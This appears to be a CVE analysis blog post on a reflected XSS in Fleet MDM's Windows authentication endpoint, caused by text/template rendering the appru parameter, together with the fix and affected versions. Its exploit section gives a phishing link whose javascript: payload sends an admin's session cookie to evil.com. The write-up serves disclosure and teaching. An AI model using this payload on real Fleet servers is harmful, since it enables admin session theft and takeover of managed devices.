Fleet MDM: When Text Templates Become Admin Account Takeovers
Jan 20, 2026·5 min read·2 visits
Executive Summary (TL;DR)
Fleet's Windows MDM authentication endpoint used Go's `text/template` engine instead of the secure `html/template` engine to render responses. This lack of contextual escaping allowed attackers to inject arbitrary JavaScript via the `appru` parameter. If an authenticated admin clicks a malicious link, their session can be hijacked.
A classic tale of "wrong tool for the job" in the Go ecosystem led to a Reflected Cross-Site Scripting (XSS) vulnerability in Fleet's Windows MDM component. By confusing text generation with HTML rendering, developers inadvertently allowed attackers to inject malicious JavaScript via the `appru` parameter.
The Hook: Managing the Managers
Fleet is the open-source darling of the osquery world, allowing security teams to query and manage thousands of endpoints as if they were a single database. It’s powerful, centralized, and typically sits behind heavy authentication. But like any fortress, it has side doors.
One of those side doors is the Windows Mobile Device Management (MDM) integration. This feature allows Fleet to act as a management authority for Windows devices, handling enrollment, configuration, and security policies. To make this magic happen, Fleet exposes a Security Token Service (STS) endpoint—specifically mdmMicrosoftAuthEndpoint.
This endpoint handles the handshake between the Windows OS and Fleet. It takes parameters from the request, does some processing, and sends a response back to the client. It’s a classic reflection point: user input goes in, HTML comes out. If you’ve been in this game long enough, you know exactly where this is going.
The Flaw: Text vs. HTML
Go is a fantastic language for security—memory safety, strong typing, and great standard libraries. But it hands you two loaded guns in the text and html packages: text/template and html/template.
They share the same interface. They look identical in code. But they behave very differently. html/template is context-aware; it knows that if you put a string inside a <script> tag or an href attribute, it needs to be escaped to prevent code execution. text/template? It doesn't care. It treats your output as a dumb string of characters.
The developers at Fleet made the classic blunder: they used text/template to render an HTML response for the MDM authentication flow. This meant that whatever data was passed into the template was written raw to the HTTP response body. No sanitization. No encoding. Just raw bytes.
The Code: Anatomy of a Screw-Up
Let’s look at the smoking gun. The vulnerability lived in server/service/microsoft_mdm.go. The endpoint accepted a query parameter named appru (Application Response URL), which dictates where the client should go next.
Here is the logic flaw in its purest form. The code took appru and shoved it directly into a template without validating that it was actually a URL, or even a safe string.
The Vulnerable Pattern (Conceptual):
// BAD: Using text/template
t, _ := text_template.New("response").Parse(`<form action="{{.Appru}}">...`)
t.Execute(w, data)If an attacker sets appru to javascript:alert(1), the rendered HTML becomes <form action="javascript:alert(1)">. When the browser processes this, it doesn't see a URL; it sees code.
The fix involved two critical changes in commit 0e6c790803d1b4407c5b4b41a67a37864a3d3573. First, they switched to html/template. Second, they stopped trusting the input blindly.
The Fix:
// server/service/microsoft_mdm.go
func isValidAppru(appru string) bool {
parsed, err := url.Parse(appru)
if err != nil {
return false
}
// STRICT ALLOWLIST: Only allow http, https, and ms-app schemes
return slices.Contains([]string{"http", "https", "ms-app"}, parsed.Scheme)
}
func mdmMicrosoftAuthEndpoint(...) {
// ...
if !isValidAppru(appru) {
// Hard stop if the scheme looks fishy
return getSTSAuthContent(""), fmt.Errorf("non-URL appru parameter attempted: %q", appru)
}
// ...
}This is a textbook remediation: fix the output encoding and validate the input against a strict allowlist.
The Exploit: Crafting the Payload
Exploiting this is trivial because the reflection is unfiltered. The goal is to get the victim's browser to execute JavaScript in the context of the Fleet domain. Since the appru parameter is reflected into a context that executes the URI (likely a form action or a redirect script), we can use the javascript: pseudo-protocol.
Attack Scenario:
- Target: A Fleet administrator who is currently logged in.
- Vector: A phishing email or a slack message saying, "Hey, the Windows MDM connector is failing, check this log."
- Payload: The link points to the Fleet instance with a malicious payload.
https://fleet.target-corp.com/api/v1/microsoft_mdm/mde/2/auth?appru=javascript:fetch('https://evil.com/steal?c='+document.cookie)When the admin clicks this link:
- The Fleet server receives the request.
- It renders the template using
text/template, blindly inserting thejavascript:...string. - The browser receives the HTML and attempts to use
appru(perhaps auto-submitting a form or settingwindow.location). - The JavaScript executes.
- The admin's session cookie is sent to
evil.com.
It’s simple, elegant, and devastatingly effective against applications that forget the basics of web security.
The Impact: From XSS to RCE
Why should you care about XSS in an MDM platform? Because Fleet isn't just a reporting tool; it's a command-and-control center.
If an attacker steals an admin session via this XSS, they inherit the admin's permissions. In Fleet, an admin can:
- Run arbitrary queries (osquery) on all enrolled hosts.
- Deploy software to managed endpoints.
- Modify configurations, disabling monitoring or opening backdoors.
Effectively, a single XSS in the management server can be leveraged to gain Remote Code Execution (RCE) on every laptop and server managed by that Fleet instance. You aren't just hacking the website; you're hacking the entire fleet (pun intended).
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Fleet Fleet Device Management | < 4.53.3 | 4.53.3 |
Fleet Fleet Device Management | >= 4.54.0, < 4.75.2 | 4.75.2 |
Fleet Fleet Device Management | >= 4.76.0, < 4.76.2 | 4.76.2 |
Fleet Fleet Device Management | >= 4.77.0, < 4.77.1 | 4.77.1 |
Fleet Fleet Device Management | >= 4.78.0, < 4.78.2 | 4.78.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Cross-site Scripting) |
| CVSS v3.1 | 6.1 (Medium) |
| Attack Vector | Network (Reflected via URL) |
| Privileges Required | None (Target is the Admin) |
| User Interaction | Required (Phishing/Click) |
| Exploit Status | PoC Available |
MITRE ATT&CK Mapping
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.